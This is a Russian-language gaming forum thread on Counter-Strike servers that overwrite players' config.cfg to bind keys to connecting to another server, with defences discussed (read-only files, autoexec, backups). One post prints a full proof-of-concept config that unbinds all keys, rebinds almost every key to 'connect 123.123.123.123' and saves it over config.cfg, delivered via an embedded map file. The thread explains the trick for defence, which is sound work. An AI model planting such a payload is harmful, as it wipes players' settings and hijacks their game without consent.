Sidebar

Сервера преисподней!

psych0d3l1c

New member
May 31, 2012
20
11
0
Сервера преисподней!

Привет, форумчане. Пришел к вам с проблемой.
Многие из вас наверняка сталкивались с такими нечестивыми серверами, которые изменяют ваше меню под свой лад. К счастью, это решается просто - делаем файл GameMenu.res "только для чтения". То ли дело, когда эти же серверы нацеливаются на ваш config.cfg, и назначают connect к своему на ..й никому не нужному серверу на половину кнопок. Здесь "только для чтения" не подойдет, ибо тогда блокируются настройки, нельзя назначать bind прямо из игры и т.д. Так вот, вопрос: как защитить свой config.cfg от подобного рода атак?
Заранее спасибо.
 

igi_sev

I have returned
Apr 20, 2009
819
39
  • Золотая медаль 232
Эта проблема актуальна не только для 1.6, а вообще для всех игр от Valve.
К сожалению, самая простая и самая эффективная защита - это Read Only для вышеописанных файлов.
Но ещё проще обходить подобные сервера стороной. Их излишняя "настырность" сама себя погубит.
 

HeMe3iC

:(
Sep 3, 2007
3,263
34
48
Питер
2 igi_sev:
а в сорсе давно уже невозможно менять клиентские файлы, так что для сорса эта проблема не актуальна
 

Gaia

Чёрный вертолёт
Спонсор
Aug 4, 2008
4,685
37
154
63
копируй config.cfg, переименуй, лезь в autoexec.cfg, в самый конец пропиши exec твойконфиг.cfg. Еще существует вариант с папкой valve_russian, но там с реестром шаманить надо.
 

HeMe3iC

:(
Sep 3, 2007
3,263
34
48
Питер
2 Gaia:
а добавленные через консоль бинды то в твойконфиг.цфг не добавятся, в том то и вся проблема
 

Spryt

В трансе
Dec 5, 2010
1,109
28
21
38
Пермь
Уж пусть лучше не добавятся, нежели потом нажимать на любую попавшуюся клавишу и переходить на левый сервер -_-
 

ZAZA

Well-known member
Nov 8, 2011
2,433
43
48
У меня просто скопирован конфиг и gamemenu.res в отдельную папку, и в любой момент я могу востновить настройки
 

igi_sev

I have returned
Apr 20, 2009
819
39
  • Золотая медаль 232
HeMe3iC said:
вшитые во что?
Скрипты, вшитые в любую карту, разумеется...

Я накидал простецкий примерчик подобного случая для CS:Source
Создал карту в которую вшил файлик config_hack.cfg
Этот конфиг подгружается клиентом, и вот его содержимое:
Code:
unbindall
bind "0" "connect 123.123.123.123"
bind "1" "connect 123.123.123.123"
bind "2" "connect 123.123.123.123"
bind "3" "connect 123.123.123.123"
bind "4" "connect 123.123.123.123"
bind "5" "connect 123.123.123.123"
bind "6" "connect 123.123.123.123"
bind "7" "connect 123.123.123.123"
bind "8" "connect 123.123.123.123"
bind "9" "connect 123.123.123.123"
bind "a" "connect 123.123.123.123"
bind "b" "connect 123.123.123.123"
bind "c" "connect 123.123.123.123"
bind "d" "connect 123.123.123.123"
bind "e" "connect 123.123.123.123"
bind "f" "connect 123.123.123.123"
bind "g" "connect 123.123.123.123"
bind "h" "connect 123.123.123.123"
bind "i" "connect 123.123.123.123"
bind "j" "connect 123.123.123.123"
bind "k" "connect 123.123.123.123"
bind "m" "connect 123.123.123.123"
bind "n" "connect 123.123.123.123"
bind "o" "connect 123.123.123.123"
bind "q" "connect 123.123.123.123"
bind "r" "connect 123.123.123.123"
bind "s" "connect 123.123.123.123"
bind "t" "connect 123.123.123.123"
bind "u" "connect 123.123.123.123"
bind "w" "connect 123.123.123.123"
bind "x" "connect 123.123.123.123"
bind "y" "connect 123.123.123.123"
bind "z" "connect 123.123.123.123"
bind "`" "connect 123.123.123.123"
bind "," "connect 123.123.123.123"
bind "." "connect 123.123.123.123"
bind "SPACE" "connect 123.123.123.123"
bind "TAB" "connect 123.123.123.123"
bind "ESCAPE" "connect 123.123.123.123"
bind "PAUSE" "connect 123.123.123.123"
bind "SHIFT" "connect 123.123.123.123"
bind "CTRL" "connect 123.123.123.123"
bind "F1" "connect 123.123.123.123"
bind "F2" "connect 123.123.123.123"
bind "F3" "connect 123.123.123.123"
bind "F4" "connect 123.123.123.123"
bind "F5" "connect 123.123.123.123"
bind "F6" "connect 123.123.123.123"
bind "F7" "connect 123.123.123.123"
bind "F10" "connect 123.123.123.123"
bind "F12" "connect 123.123.123.123"
bind "MOUSE1" "connect 123.123.123.123"
bind "MOUSE2" "connect 123.123.123.123"
bind "MWHEELUP" "connect 123.123.123.123"
bind "MWHEELDOWN" "connect 123.123.123.123"

host_writeconfig "config.cfg"
Хочу заметить, что я использовал самый банальный способ. При желании, на сервере можно написать примитивный плагин, который на любой карте каждый раунд будет автоматически вставлять код активации скрипта в любой триггер (например, в зоны покупки, которые тоже являются триггерами).
Возможно, при использовании плагинов, есть какой-то функционал позволяющий напрямую заставить клиент выполнить заданный набор команд (с плагинами знаком поверхностно).

Откомпилированная карта-пример (с вшитым конфигом), а так же исходные файлы прилагаются...
ВНИМАНИЕ! Сохраните свой config.cfg перед запуском карты.
 

Attachments

  • Like
Reactions: Flash

HeMe3iC

:(
Sep 3, 2007
3,263
34
48
Питер
нет, с плагина сорсмода нельзя сделать exec cfg и нельзя забиндить ничего клиенту